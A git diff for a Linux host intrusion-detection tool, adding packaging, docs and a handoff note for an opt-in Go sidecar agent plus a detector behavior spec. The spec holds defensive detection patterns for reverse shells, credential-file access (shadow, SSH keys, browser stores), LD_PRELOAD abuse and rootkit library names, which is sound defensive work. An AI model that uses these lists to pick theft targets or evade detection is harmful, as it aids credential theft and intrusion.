diff --git a/Makefile b/Makefile index 8aae959..0e8bbd4 100644 --- a/Makefile +++ b/Makefile @@ -6,8 +6,10 @@ CONFDIR := /etc LOGDIR := /var/log/enodia-sentinel DOCDIR := $(PREFIX)/share/doc/enodia-sentinel TMPFILESDIR := /etc/tmpfiles.d +GO_AGENT_BIN := $(CURDIR)/build/enodia-sentinel-go +GO_CACHE ?= /tmp/enodia-go-cache -.PHONY: install uninstall enable disable status logs check baseline drill test test-go parity-go release-artifacts clean +.PHONY: install install-go uninstall uninstall-go enable enable-go disable disable-go status status-go logs logs-go check baseline drill test build-go generate-go test-go parity-go check-go-service release-artifacts clean # Installs the stdlib-only Python package as a plain directory + launcher # wrapper (no pip, no virtualenv, no site-packages). Zero runtime deps. @@ -43,6 +45,21 @@ install: install -dm750 $(DESTDIR)$(LOGDIR) @echo "Installed. Run 'sudo make enable' to start the service." +# Build and install the Go migration agent as an opt-in validation sidecar. +# It deliberately has a distinct binary, unit, and state directory; this target +# never replaces or enables the production Python service. +install-go: build-go + install -Dm755 $(GO_AGENT_BIN) $(DESTDIR)$(BINDIR)/enodia-sentinel-go + install -Dm644 systemd/enodia-sentinel-go-sidecar.service $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel-go-sidecar.service + @if [ ! -e "$(DESTDIR)$(CONFDIR)/enodia-sentinel.toml" ]; then \ + install -Dm644 config/enodia-sentinel.toml $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml; \ + echo "Installed default config at $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml"; \ + else \ + echo "Existing config preserved at $(DESTDIR)$(CONFDIR)/enodia-sentinel.toml"; \ + fi + install -Dm644 go-agent/README.md $(DESTDIR)$(DOCDIR)/GO_AGENT.md + @echo "Go sidecar installed but not enabled. Run 'sudo make enable-go' to start it." + uninstall: rm -rf $(DESTDIR)$(LIBDIR) rm -f $(DESTDIR)$(BINDIR)/enodia-sentinel @@ -55,29 +72,59 @@ uninstall: rm -rf $(DESTDIR)$(DOCDIR) @echo "Uninstalled. Config and logs preserved." +uninstall-go: + rm -f $(DESTDIR)$(BINDIR)/enodia-sentinel-go + rm -f $(DESTDIR)$(SYSTEMDDIR)/enodia-sentinel-go-sidecar.service + rm -f $(DESTDIR)$(DOCDIR)/GO_AGENT.md + @echo "Go sidecar uninstalled. Shared config and sidecar state preserved." + enable: systemctl daemon-reload systemctl enable --now enodia-sentinel.service +enable-go: + systemctl daemon-reload + systemctl enable --now enodia-sentinel-go-sidecar.service + disable: systemctl disable --now enodia-sentinel.service +disable-go: + systemctl disable --now enodia-sentinel-go-sidecar.service + status: systemctl status enodia-sentinel.service --no-pager +status-go: + systemctl status enodia-sentinel-go-sidecar.service --no-pager + logs: journalctl -u enodia-sentinel.service -f +logs-go: + journalctl -u enodia-sentinel-go-sidecar.service -f + # Dev targets — run from the repo without installing. test: python3 -m unittest discover -s tests -v test-go: - cd go-agent && GOCACHE=/tmp/enodia-go-cache go test ./... + cd go-agent && GOCACHE=$(GO_CACHE) go test ./... + +build-go: + install -d $(dir $(GO_AGENT_BIN)) + cd go-agent && CGO_ENABLED=0 GOCACHE=$(GO_CACHE) go build -buildvcs=false -trimpath -ldflags='-s -w' -o $(GO_AGENT_BIN) ./cmd/enodia-sentinel-go + +generate-go: + cd go-agent && go generate ./internal/ebpfsource parity-go: python3 scripts/check-go-parity.py +check-go-service: + systemd-analyze verify systemd/enodia-sentinel-go-sidecar.service + python3 -m unittest tests.test_go_sidecar_packaging -v + check: python3 -m enodia_sentinel.cli check @@ -95,3 +142,4 @@ release-artifacts: clean: find . -type d -name __pycache__ -prune -exec rm -rf {} + + rm -f $(GO_AGENT_BIN) diff --git a/README.md b/README.md index 237b832..87f088b 100644 --- a/README.md +++ b/README.md @@ -64,14 +64,17 @@ Project docs: > detectors, and JSON output. The bash version and the Python version share one > red-team harness, so every signature is exercised against both. -Phase 1 now also has an **experimental Go sidecar** under `go-agent/`. It emits -the same `enodia.event.v1` envelope and captures an injectable `/proc` process -and memory-map view plus `ss` sockets. The parity-checked cohort is `reverse_shell`, -`ld_preload`, `deleted_exe`, `input_snooper`, `credential_access`, -`stealth_network`, `memory_obfuscation` (including mapped hide/injection -libraries), and `egress`. It is stdout-only and does not replace, -install over, or write state for the Python daemon; Python remains authoritative -until subsystem parity is complete. +The migration also has an **opt-in Go validation sidecar** under `go-agent/`. +It emits the same `enodia.event.v1` envelope, has fixture parity for all current +poll detectors plus exec/syscall/typed-host rules and correlation, and uses +embedded `cilium/ebpf` CO-RE probes for the live event paths. A separate +hardened systemd unit writes JSONL to journald, retains a bounded copy of the +event stream plus baseline state and an atomic heartbeat under +`/var/lib/enodia-sentinel-go`, and fails open to polling if a probe cannot load. +It also writes bounded `enodia.alert.snapshot.v1` JSON/text pairs with truthful +status counts. It does not replace, install over, or write state for the Python +daemon; Python remains authoritative for richer forensic enrichment, incidents, +assurance, notifications, and the remaining subsystem parity. ## Why these detectors @@ -171,14 +174,26 @@ enodia_sentinel/ └── monitor.py runs the probe on a thread, routes events → rules ``` -The parallel Phase 1 tree is intentionally isolated: +The parallel migration tree is intentionally isolated: ```text go-agent/ -├── cmd/enodia-sentinel-go/ experimental JSONL sidecar -└── internal/ config · model · system · detectors · schema · loop +├── cmd/enodia-sentinel-go/ static JSONL validation agent +└── internal/ config · capture · baselines · rules · eBPF · health ``` +Build or install the opt-in sidecar without changing the default service: + +```bash +make build-go +sudo make install-go +sudo make enable-go +enodia-sentinel-go --health +``` + +See [Go agent details](go-agent/README.md) and the +[packaging guide](docs/PACKAGING.md) for its isolation and privilege contract. + Three complementary detection paths feed one Alert → snapshot pipeline: - **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering). @@ -309,6 +324,7 @@ drill only sets the env var on a throwaway process. make test # stdlib unittest suite, no runtime deps make test-go # stdlib-only Go sidecar unit tests make parity-go # shared fixture: Go output vs Python oracle +make check-go-service # systemd validation + packaging isolation tests ``` Detectors are pure functions over an injectable `SystemState`, so tests build diff --git a/config/enodia-sentinel.toml b/config/enodia-sentinel.toml index 2277d04..26d5b60 100644 --- a/config/enodia-sentinel.toml +++ b/config/enodia-sentinel.toml @@ -15,7 +15,7 @@ suid_scan_interval = 60 # seconds between (backgrounded) SUID filesystem sca detectors = [ "reverse_shell", "ld_preload", "deleted_exe", "input_snooper", "credential_access", "stealth_network", - "memory_obfuscation", + "memory_obfuscation", "first_seen", "new_listener", "new_suid", "persistence", "egress", ] diff --git a/docs/GO_PORT_HANDOFF.md b/docs/GO_PORT_HANDOFF.md new file mode 100644 index 0000000..810a4fe --- /dev/null +++ b/docs/GO_PORT_HANDOFF.md @@ -0,0 +1,145 @@ +# Go Port Handoff + +Saved: 2026-07-22T01:40:52-07:00 +Branch: `main` +Base commit: `6a06eba` (`docs(behavior): add behavioral spec for sweep + baseline lifecycle`) +Status: implemented and green, but uncommitted + +## Worktree warning + +The checkout is intentionally dirty and contains work from multiple related +continuations. Do not reset, clean, or broadly restage it. + +- At this checkpoint, `git status --short` has 62 entries (105 when every + untracked file is expanded instead of collapsing directories). +- This handoff is itself currently untracked and should be included when the + Go migration tranche is eventually committed. +- `docs/behavior/02-poll-detectors.md` and `docs/behavior/index.md` already had + staged content plus later unstaged edits (`AM` / `MM`). This save did not + change the index. +- The Python GUI files and tests are separate pre-existing work. Preserve them + while continuing the Go port. +- `build/` is ignored and contains only local build output. + +## Implemented Go surface + +The Go module requires Go 1.25 or newer and is currently verified with +`go1.26.5-X:nodwarf5`. It uses `github.com/cilium/ebpf` v0.22.0 and builds as a +static binary. + +### Polling and lifecycle + +- All current Python poll detectors have Go parity: `reverse_shell`, + `ld_preload`, `deleted_exe`, `input_snooper`, `credential_access`, + `stealth_network`, `memory_obfuscation`, `egress`, `first_seen`, + `new_listener`, `persistence`, and `new_suid`. +- `--state-dir` enables isolated listener/SUID baselines, startup grace, + persistence scans, and atomic first-seen retention. +- The Go state directory must never be the Python daemon's + `/var/log/enodia-sentinel` directory. + +### Event rules and native sources + +- Exec rules: built-in SIDs `100001`-`100004` plus configured rules. +- Syscall rules: SIDs `100060`-`100066`. +- Typed host rules: SIDs `100067`-`100073` and `100076`-`100078`. +- Mixed JSONL routing, rule catalog operations, correlation SID `100080`, and + one shared cooldown gate are implemented. +- Embedded CO-RE exec and filtered raw-syscall probes use `cilium/ebpf` and + fail open to polling on load/attach/read failures. +- Native typed transports include UID/GID changes, chmod/chown variants, + `capset`, `finit_module`, confirmed interpreter `write`/`writev`/`pwrite64`/ + `pwritev`/`pwritev2`, and successful TCP connect/bind/listen/accept calls + with `/proc` endpoint resolution. +- Generated little- and big-endian BPF objects live under + `go-agent/internal/ebpfsource/`. Run `make generate-go` only after changing + `go-agent/internal/ebpfsource/bpf/*.bpf.c`. + +### Production validation path + +- `make build-go` creates a stripped, static, VCS-independent binary. +- `make install-go` installs the separate binary and + `enodia-sentinel-go-sidecar.service` without replacing or enabling the + Python service. +- The hardened systemd unit has a current `systemd-analyze security` exposure + score of 4.3 (`OK`). It preserves the host `/proc`, `/tmp`, and network view + because detectors require them, while hiding the Python state tree. +- The unit uses `Type=notify`; READY is sent only after baseline setup, event + log preflight, and both requested probe-load attempts. +- JSONL remains visible in journald and is also retained as private bounded + `/var/lib/enodia-sentinel-go/events.jsonl` plus `events.jsonl.1` (64 MiB per + active segment boundary). Non-status events are synchronized to disk. +- `/var/lib/enodia-sentinel-go/heartbeat` is atomically refreshed after each + successful status emission. +- `enodia-sentinel-go --health` returns `enodia.go.health.v1` JSON and a + watchdog-friendly exit status. +- `enodia-sentinel-go --events-tail N` reads active and rotated retained events + chronologically, validates JSON, fails closed on corruption, and deliberately + works without loading the agent configuration. +- The unit now retains private `alert-YYYYMMDD-HHMMSS.{json,log}` pairs using + the required `enodia.alert.snapshot.v1` fields. Same-second alerts merge into + one pair, process context is collected best-effort from `/proc`, and shared + `max_snapshots` / `max_snapshot_age_days` limits are applied at startup, + capture, and status time. +- `enodia.status.v1` totals, severity counts, and last-alert time are populated + only from parseable retained Go snapshots. Python's unchanged `list_alerts` + and `get_alert` data layer successfully consumed a Go-produced pair. +- Snapshot incident IDs remain null and enrichment currently contains only a + Go-source marker plus process detail; incident indexing, rich enrichment, + assurance chaining, and notification fan-out are not yet ported. +- No live system service was installed or enabled during development. + +## Last green verification + +Run from the repository root: + +```bash +python3 -m unittest discover -s tests -q +cd go-agent +GOCACHE=/tmp/enodia-go-cache go test ./... +GOCACHE=/tmp/enodia-go-cache go test -race ./... +GOCACHE=/tmp/enodia-go-cache go vet ./... +go mod verify +cd .. +make parity-go +make check-go-service +git diff --check +``` + +Results at save time: + +- Python: 377 tests passed. +- Go unit and race suites: all packages passed. +- `go vet` and `go mod verify`: passed. +- Parity: 22 poll alerts, 5 exec alerts, 7 syscall alerts, 10 typed-host + alerts, 22 catalog records, 3 mixed-stream alerts, and 2 correlations. +- `systemd-analyze verify` and the three Go sidecar packaging/isolation tests: + passed. +- Static builds: `linux/amd64`, `linux/arm64`, `linux/riscv64`, and + `linux/s390x` passed. +- Integration smoke tests passed for static binary identity, JSON emission, + READY/STOPPING notification, heartbeat freshness/staleness, retained event + equivalence, tail selection, corruption rejection, and evidence reading with + malformed TOML. Snapshot smoke tests also passed for same-second batching, + severity aggregation, private JSON/text pairs, truthful status counts, + startup/quiet-period retention, process context, and Python dashboard-reader + compatibility. + +The Python suite prints three expected CLI error lines from negative tests and +one existing `ResourceWarning` for an implicitly cleaned-up HTTP 401 object; +the suite still exits successfully. + +## Resume here + +1. Add Python-compatible incident grouping/index persistence so retained Go + snapshots can carry real `incident_id` values and correlation timelines. +2. Port bounded post-alert enrichment and local assurance chaining without + adding destructive response behavior or blocking the event loop on slow + collectors. +3. Connect the isolated Go snapshot/event state to explicit read-only + management consumers while keeping Python authoritative. +4. Continue broader Phase 3 rule metadata/state parity before considering any + default-service or package cutover. + +Keep the validation sidecar opt-in, preserve its separate state tree, and keep +new attack/event primitives disconnected from destructive response paths. diff --git a/docs/PACKAGING.md b/docs/PACKAGING.md index 93caef9..8b475d3 100644 --- a/docs/PACKAGING.md +++ b/docs/PACKAGING.md @@ -62,6 +62,65 @@ sudo systemctl daemon-reload sudo systemctl restart enodia-sentinel.service ``` +## Go Migration Sidecar (opt-in) + +The Go agent has a separate validation service and is never installed by the +default `make install` target or the Arch package. Build and install it +explicitly from a checkout with Go 1.25 or newer: + +```bash +make build-go +sudo make install-go PREFIX=/usr/local +sudo make enable-go +``` + +The static `enodia-sentinel-go` binary emits `enodia.event.v1` JSONL to the +system journal. Its service owns `/var/lib/enodia-sentinel-go` for baseline +state and a bounded retained event stream. `events.jsonl` rotates to one +`events.jsonl.1` segment before crossing 64 MiB; both are private to root, and +non-status records are synchronized before emission succeeds. The service +requests the embedded native exec and syscall probes and fails open to polling +when the kernel refuses a probe. It does not write the production Python +daemon's `/var/log/enodia-sentinel` state or replace +`enodia-sentinel.service`. Systemd readiness is emitted only after baseline +initialization, event-log and snapshot-store preflight, and both requested probe +load attempts complete. + +Alert events are additionally retained as private +`alert-YYYYMMDD-HHMMSS.{json,log}` pairs in `/var/lib/enodia-sentinel-go`. +Same-second events are merged into one snapshot, required +`enodia.alert.snapshot.v1` fields are preserved, and the shared +`max_snapshots` / `max_snapshot_age_days` settings bound retention. The current +Go enrichment block is intentionally minimal; Python remains authoritative for +incident grouping, rich enrichment, assurance chaining, and notifications. + +Each successful sweep atomically refreshes +`/var/lib/enodia-sentinel-go/heartbeat` as a Unix timestamp with mode `0600`; +the retained value becomes stale when the sidecar stops or wedges. +`enodia-sentinel-go --health` reports that state as JSON and exits nonzero when +it is unavailable or older than the configured `heartbeat_max_age`. + +Inspect the retained event stream without depending on journald: + +```bash +sudo tail -n 50 /var/lib/enodia-sentinel-go/events.jsonl +sudo enodia-sentinel-go --events-tail 50 +``` + +The native reader includes `events.jsonl.1`, preserves chronological order, and +fails nonzero if either retained segment contains malformed JSON. + +Inspect or remove the validation service with: + +```bash +sudo make status-go +sudo make disable-go +sudo make uninstall-go +``` + +Uninstalling preserves the shared configuration and sidecar state for forensic +review or a later reinstall. + ## Debian and Ubuntu There is no native `.deb` package yet. Use the source install path: diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 2a5e358..2a31b27 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -259,12 +259,39 @@ Exit criteria: - Suricata model assimilation design is complete, and Phase 0's additive `enodia.event.v1` Python reference contract is implemented. -- Phase 1 is in progress under `go-agent/`: a stdlib-only parallel sweep loop, - injectable process/file-descriptor/socket state, and seven poll detectors - (`reverse_shell`, `ld_preload`, `deleted_exe`, `input_snooper`, - `credential_access`, `stealth_network`, `egress`) are checked against the - Python oracle with a shared fixture. The Go sidecar remains stdout-only and - non-production until broader parity lands. +- Phase 1 under `go-agent/` now has a stdlib-only parallel sweep loop, + injectable process/file-descriptor/socket state, and all current Python poll + detectors ported: `reverse_shell`, `ld_preload`, `deleted_exe`, + `input_snooper`, `credential_access`, `stealth_network`, `egress`, + `memory_obfuscation`, `first_seen`, `new_listener`, `persistence`, and + `new_suid`. The shared fixture and `scripts/check-go-parity.py` check Go + output against the Python oracle. A new `provenance` package provides + pacman/dpkg/rpm ownership queries so the Go `new_listener` detector can + mirror Python's package-owned-listener suppression. Opt-in `--state-dir` + mode now builds listener/SUID baselines, applies the shared startup grace + gate, scans persistence paths, and retains first-seen network state. The Go + sidecar also has offline-replay parity for the exec rule family (built-ins + `100001`–`100004` plus configured `[[exec_rules]]`) and syscall rules + `100060`–`100066`, plus all typed host rules, the active rule catalog, + mixed-event JSONL routing, correlation SID `100080`, and sweep cooldown. The + first Phase 2 transports have landed as an opt-in `cilium/ebpf` execve + tracepoint source plus a filtered raw-syscall source for SIDs `100060`– + `100066`, both with CO-RE parent lookup, shared cooldown/emission, and + fail-open probe status. The syscall source also routes `setuid`/`setgid` into + typed-host SIDs `100071`/`100072` and permission/ownership changes into SID + `100070`, including relative-path resolution. Confirmed interpreter + `write`/`writev`/`pwrite` variants, + successful TCP connect/bind/listen/accept calls, `capset`, and `finit_module` + now feed typed-host SIDs `100069`, `100067`/`100073`/`100068`/`100076`, + `100077`, and `100078`. Phase 2 now also includes an opt-in hardened systemd + validation unit, static build/install path, isolated baseline state, and + journal JSONL. A bounded rotating JSONL copy provides isolated retained event + history, and an atomic heartbeat gives external watchdogs a non-journal + liveness signal. Bounded Python-schema-compatible JSON/text alert snapshots + now provide truthful retained counts and basic process context. The Python + service remains the production default until incident grouping, rich + enrichment/assurance, management-console consumers, and broader subsystem + parity land. ## Backlog diff --git a/docs/SURICATA_ASSIMILATION.md b/docs/SURICATA_ASSIMILATION.md index d9fc090..9a5c95a 100644 --- a/docs/SURICATA_ASSIMILATION.md +++ b/docs/SURICATA_ASSIMILATION.md @@ -233,8 +233,26 @@ signature keeps `sid` / `signature` / `classtype` / tests / docs. `input_snooper`, `credential_access`, `stealth_network`, the `memory_obfuscation` cohort, and `egress`; Python remains the production agent. -- **Phase 2 — eBPF via `cilium/ebpf`.** Port exec/syscall rules; drop the - bcc/Python runtime dependency; single static binary. +- **Phase 2 — eBPF via `cilium/ebpf`.** The transport-independent exec/syscall + event models and rule engines have offline Python-envelope parity in Go. An + opt-in native execve and filtered raw-syscall tracepoints now feed both rule + engines through `cilium/ebpf` with CO-RE parent lookup and fail-open polling + fallback; root UID/GID transitions and persistence-path permission changes + plus capability-set and file-backed module-load requests also feed the + typed-host engine. Interpreter `write`/`writev`/`pwrite` variants are + enter/exit-correlated and filtered in-kernel before their FD paths are + resolved in userspace. Successful + connect/bind calls are likewise correlated, with TCP inode verification for + connect events; listen/accept calls resolve both endpoints from the successful + socket FD. + An opt-in hardened systemd validation unit now runs the static Go binary with + isolated baseline state, journal JSONL, a bounded retained JSONL stream, and + an atomic health marker. All current typed-host families now have native + transports. Bounded `enodia.alert.snapshot.v1` JSON/text pairs now retain + alerts with basic process context and feed truthful status counts. Incident + grouping, rich enrichment/assurance, management-consumer integration, and + broader parity must land before the bcc/Python runtime dependency can be + dropped. - **Phase 3 — Rule-engine parity + assimilation.** `rev`/`reference`/`metadata`, statebits (flowbits), thresholding, suppression, and — if rule count warrants — the MPM prefilter. `rules list/show/test/docs` parity. diff --git a/docs/behavior/01-sweep-and-state.md b/docs/behavior/01-sweep-and-state.md index da400d7..38b4ad3 100644 --- a/docs/behavior/01-sweep-and-state.md +++ b/docs/behavior/01-sweep-and-state.md @@ -331,7 +331,7 @@ Store paths derive from `log_dir`: `listener-baseline.json`, --- -## 1.8 Port parity notes (Go 2.0) +## 1.8 Port parity notes (Go port) What the Go agent must reproduce to be behavior-equivalent for this subsystem: @@ -349,7 +349,8 @@ What the Go agent must reproduce to be behavior-equivalent for this subsystem: the other wrote. - **Reconcile-before-cooldown** ordering and 60s per-key cooldown (§1.6). -Current Go status (as of this writing): poll detectors are ported and pass the -parity fixture, but baselines are still **injected from fixtures** — the store -package, live SUID walk, and the daemon-equivalent lifecycle above are the -work this document specifies. +Current Go status: poll detectors pass the parity fixture. The baseline store, +live SUID walk, startup grace, persistence scan, and first-seen retention are +implemented behind the sidecar's explicit `--state-dir` lifecycle. Fixture mode +continues to inject state and never touches a live store. Production service +cutover remains outside this acceptance slice. diff --git a/docs/behavior/02-poll-detectors.md b/docs/behavior/02-poll-detectors.md new file mode 100644 index 0000000..15567b3 --- /dev/null +++ b/docs/behavior/02-poll-detectors.md @@ -0,0 +1,276 @@ + +# 2. Poll Detectors + +Scope: the per-detector behavioral contract for the twelve pure detectors in +`detectors/`. Each is a `detect(state, cfg) -> Iterable[Alert]` over the +`SystemState` built in §1. This section documents, per detector, the inputs it +reads, the match algorithm, the exact alert it emits, and its allow-list / +fail-open rules. The registry order and the baseline-arming gate are in §1.3 / +§1.5; the alert fields and dedup keying are in §1.1. + +Every detector is fail-open by inheritance: it reads already-captured +`SystemState` fields, and missing `/proc`/`ss` data is an empty value, never an +exception. + +## 2.0 Signature summary + +The stable contract. A port emitting a different SID, severity, classtype, or +key for the same condition is a parity break. + +| SID | signature | severity | classtype | key | +|-----|-----------|----------|-----------|-----| +| 100010 | `reverse_shell` | CRITICAL | `c2-reverse-shell` | `rsh:` | +| 100011 | `ld_preload` | CRITICAL | `rootkit-preload` | `ldp:global`, `ldp:` | +| 100012 | `deleted_exe` | CRITICAL | `fileless-execution` | `del:` | +| 100013 | `new_listener` | HIGH | `backdoor-listener` | `lis:/` | +| 100014 | `new_suid` | CRITICAL / HIGH | `privilege-escalation` | `suid:` | +| 100015 | `persistence` | HIGH | `persistence` | `persist:` | +| 100016 | `egress` | HIGH | `c2-exfil` | `egr::` | +| 100032 | `input_snooper` | HIGH | `credential-keylogging` | `input::` | +| 100033 | `credential_access` | CRITICAL | `credential-theft` | `cred::` | +| 100036 | `stealth_network` | MEDIUM / HIGH | `covert-channel` | `stealthnet::::` | +| 100039 | `memory_obfuscation` | HIGH / CRITICAL | `memory-obfuscation` | `mem:memory_obfuscation::-` | +| 100048 | `process_hiding_library` | CRITICAL | `process-hiding` | `mem:process_hiding_library::-` | +| 100049 | `process_injection_library` | HIGH | `process-injection` | `mem:process_injection_library::-` | +| 100074 | `first_public_destination` | MEDIUM | `network-rarity` | `firstdest::` | +| 100075 | `first_listener_port` | MEDIUM | `network-rarity` | `firstlisten::` | + +`-` are the map bounds formatted as lowercase hex (`{start:x}-{end:x}`). + +Allow-list config keys and their defaults live in `config.py`; this section +names each key where used. The Go port mirrors the same defaults (see +`go-agent/internal/config`), so the values are asserted by config tests, not +repeated here. + +--- + +## 2.1 Shared address helpers (`netutil.py`) + +Used by `egress`, `stealth_network`, and `first_seen`. + +- `split_host_port(endpoint)` — splits an `ss` endpoint. If it starts with `[`, + partition on `]` (IPv6, e.g. `[::1]:22` → `::1`, `22`); else `rpartition(":")` + (e.g. `10.0.0.2%eth0:443` → `10.0.0.2%eth0`, `443`). Returns `(host, port)` + strings. +- `parse_addr(addr)` — strips `[]`, drops an IPv6 `%zone`, returns an + `ipaddress` object or `None`. +- `is_public_ip(addr)` — `True` only if `parse_addr(...).is_global`: excludes + loopback, RFC1918, link-local, CGNAT (100.64/10), and other non-global + ranges. Unparseable → `False`. +- `ip_in_cidrs(addr, cidrs)` — `True` if `addr` is inside any CIDR (the operator + trust list); version-matched; bad CIDRs skipped. + +## 2.2 Package provenance (`provenance.py`) + +Used by `new_listener` (§2.11) as an optional suppressor. + +`package_owner(path)` returns the owning package string or `None`, using the +first available of `pacman -Qo` / `dpkg -S` / `rpm -qf` (5s timeout each, cached +via `lru_cache`; `(deleted)` suffix stripped first). `is_package_owned(path) = +package_owner(path) is not None`. **Contract:** ownership *ranks/explains*, it +never proves safety — it may suppress a `new_listener` alert but is never used +to silently drop anything else. + +--- + +## 2.3 `reverse_shell` — SID 100010, CRITICAL + +Interpreter process with a **network** socket on its stdio. + +- Input: `state.processes`, `state.net_peer_by_inode`. +- Match, per process: `proc.comm in cfg.interpreters`; `proc.stdio_socket_inode()` + is not `None` (fd 0/1/2 links to `socket:[…]`); and that inode appears in the + network socket table (`net_peer_by_inode`). The last condition is what + excludes benign unix sockets / pipes and keeps false positives near zero. +- Emit: key `rsh:`, `pids=(pid,)`, detail + `pid=… comm=… stdio=net-socket peer=[local -> peer] cmd=[]`. +- Config: `interpreters` allow-*set of shell/scripting comms* (membership means + "watch", not "trust"). + +## 2.4 `ld_preload` — SID 100011, CRITICAL + +Two independent signatures, same SID: + +1. **Global** — `/etc/ld.so.preload` exists and is non-empty (fail-open read). + Key `ldp:global`, no pids, detail includes the file contents (newlines → + spaces). +2. **Per-process** — a process whose `environ["LD_PRELOAD"]` starts with a + suspicious prefix: `("/tmp/", "/dev/shm/", "/var/tmp/", "/run/user/", "./")`. + Key `ldp:`, `pids=(pid,)`. + +Note the global check reads `/etc/ld.so.preload` directly (not the injected +`state`), so a port must read it live inside the detector or supply it on state. + +## 2.5 `deleted_exe` — SID 100012, CRITICAL + +Process running from a deleted or memfd-backed binary in an attacker-controlled +location. + +- Match: `proc.exe` is fileless — `"memfd:" in exe`, **or** `"(deleted)" in exe` + **and** `exe` starts with `("/tmp/", "/dev/shm/", "/var/tmp/", "/run/")`. + Normal-path deleted exes (a daemon still running after a package upgrade) are + ignored on purpose. +- Emit: key `del:`, `pids=(pid,)`, detail `pid=… comm=… exe=[…]`. + +## 2.6 `input_snooper` — SID 100032, HIGH + +Process holding a keyboard/HID event device open (keylogger tell). + +- Match, per process: skip if `comm in cfg.input_snooper_allow_comms`; then scan + `fd_targets` for a target starting with `("/dev/input/event", "/dev/uinput", + "/dev/hidraw")`. **First** matching fd emits and then `break` (at most one + alert per process). +- Emit: key `input::`, `pids=(pid,)`, detail + `pid=… comm=… fd=… has input device open: `. +- Config: `input_snooper_allow_comms` (display servers, compositors, remappers). + +## 2.7 `credential_access` — SID 100033, CRITICAL + +Live process with a sensitive credential file open. + +- Match, per process: skip if `comm in cfg.credential_access_allow_comms`; then + per fd target (with a trailing ` (deleted)` stripped), classify via + `_sensitive_kind`, first hit emits then `break`. Classification precedence: + 1. exact file in `{/etc/shadow, /etc/gshadow, /etc/security/opasswd}` → + "system credential database"; + 2. matches `cfg.credential_access_extra_paths` (entry ending `/` = prefix; + else exact or `entry/` prefix) → "configured credential path"; + 3. path contains `/.ssh/` and basename starts `id_` or ends `.pem`/`.key` → + "private SSH key"; + 4. path under `/etc/NetworkManager/system-connections/` → "NetworkManager + secret profile"; + 5. basename in `{logins.json, key4.db, "Login Data", Cookies}` **and** path + (lowercased) contains a browser marker (`/.mozilla/`, `/firefox/`, + `/chromium/`, `/google-chrome/`, `/chrome/`, `/brave`, `/vivaldi/`, + `/edge/`) → "browser credential store". + + Non-absolute paths are never sensitive. +- Emit: key `cred::`, `pids=(pid,)`, detail + `pid=… comm=… fd=… has open: `. +- Config: `credential_access_allow_comms`, `credential_access_extra_paths`. + +## 2.8 `stealth_network` — SID 100036, MEDIUM or HIGH + +Sockets in families attackers use to slide around TCP/UDP checks. + +- Watched kinds: `{raw, sctp, dccp, packet, mptcp, tipc, xdp, vsock}` (matched + on `sock.kind.lower()`). +- Skip if: kind in `cfg.stealth_network_allow_kinds`; or `sock.comm` in + `cfg.stealth_network_allow_comms`; or `sock.state` is non-empty and **not** in + `{ESTAB, LISTEN, UNCONN, CONNECTED, SYN-SENT, SYN-RECV}`. +- Severity: HIGH if kind in `{raw, packet, xdp}`; else HIGH if `state == LISTEN` + or the peer is a public IP outside the egress trust list; else MEDIUM. +- Emit: key `stealthnet::::`, `pids=(pid,)` only when + pid is known, detail ` socket state=… local=… peer=… comm= + pid=`. + +## 2.9 `egress` — SID 100016, HIGH + +Interpreter holding an outbound connection to a public IP. + +- Match, per `established_sockets()`: `s.comm in cfg.interpreters`; peer host is + public (`is_public_ip`); peer not in `cfg.egress_allow_cidrs`. +- Emit: key `egr::`, `pids=(pid,)` when pid known, detail + `pid=… comm=… -> : (interpreter to public IP)`. + +## 2.10 `memory_obfuscation` — SIDs 100039 / 100048 / 100049 + +Inspects `/proc//maps` shapes (never reads process memory). Per process, +each map is classified by `_indicator`; **at most one alert per signature per +process** (a per-process `seen` set). Precedence within a single map: + +1. If `path` matches `cfg.memory_obfuscation_allow_paths` (prefix) → ignore. +2. `path` basename contains a hide hint (`libhide`, `libprocesshide`, + `process_hide`, `proc_hide`, `rootkit_hide`) → **`process_hiding_library`**, + SID 100048, CRITICAL, classtype `process-hiding`. +3. executable **and** library from a writable/runtime path (`/tmp/`, `/dev/shm/`, + `/var/tmp/`, `/run/user/` with a `.so`/`.so.`/`.dylib` in the name) → + **`process_injection_library`**, SID 100049, HIGH, classtype + `process-injection`. +4. executable **and** path contains `memfd:` or `(deleted)` → + **`memory_obfuscation`**, SID 100039, CRITICAL. +5. executable **and** writable (RWX) → `memory_obfuscation`, HIGH. +6. executable **and** anonymous (`""`, `[heap]`, `[stack]`, `[anon…`, + `[stack:…`) → `memory_obfuscation`, HIGH. + +The `memory_obfuscation` signature (only) is additionally suppressed when +`comm in cfg.memory_obfuscation_allow_comms` (JITs: java, node, browsers, +dotnet, qemu, wine, wasmtime). The library signatures are **not** suppressed by +that allow-list. + +- Emit: key `mem:::-`, `pids=(pid,)`, detail + `pid=… comm=… range=-`. + +## 2.11 `new_listener` — SID 100013, HIGH + +New listening socket absent from the startup baseline (see §1.5.1). No-op when +`state.listener_baseline is None` (unarmed). + +- Match, per `LISTEN` socket: identity `key = port/comm` where + `port = local.rpartition(":")[2]` and `comm` defaults `?`. Skip if key in + `state.listener_baseline`, or `port in cfg.listener_allow_ports`, or + `comm in cfg.listener_allow_comms`. +- Optional provenance gate: if `cfg.suppress_package_owned_listeners` and the + owning process's `exe` `is_package_owned`, skip. +- Emit: key `lis:/`, `pids=(pid,)` when known, detail + `new listening socket by comm=`. + +## 2.12 `new_suid` — SID 100014, HIGH or CRITICAL + +SUID/SGID binary not in the baseline. No-op when `state.suid_binaries is None` +**or** `state.suid_baseline is None` (see §1.5.3 — no alerts until an async scan +result exists). + +- Match, per path in `state.suid_binaries` not in `state.suid_baseline`: + `hot = any(path.startswith(d.rstrip("/") + "/") for d in cfg.suid_hot_dirs)`. +- Severity: CRITICAL if hot (writable dir), else HIGH. +- Emit: key `suid:`, no pids, detail + `SUID/SGID binary in writable dir: ` (hot) or `new SUID/SGID binary: + `. + +## 2.13 `persistence` — SID 100015, HIGH + +Watched persistence-relevant file modified since the previous sweep. No-op when +`state.persist_since is None` (unarmed). + +- Input: walk `cfg.watch_persistence` (a dir → recurse `os.walk`, a file → + itself). For each existing file, `mtime = os.lstat(path).st_mtime` + (unreadable → skip). +- Match: `mtime > state.persist_since` (the *previous* sweep's timestamp; 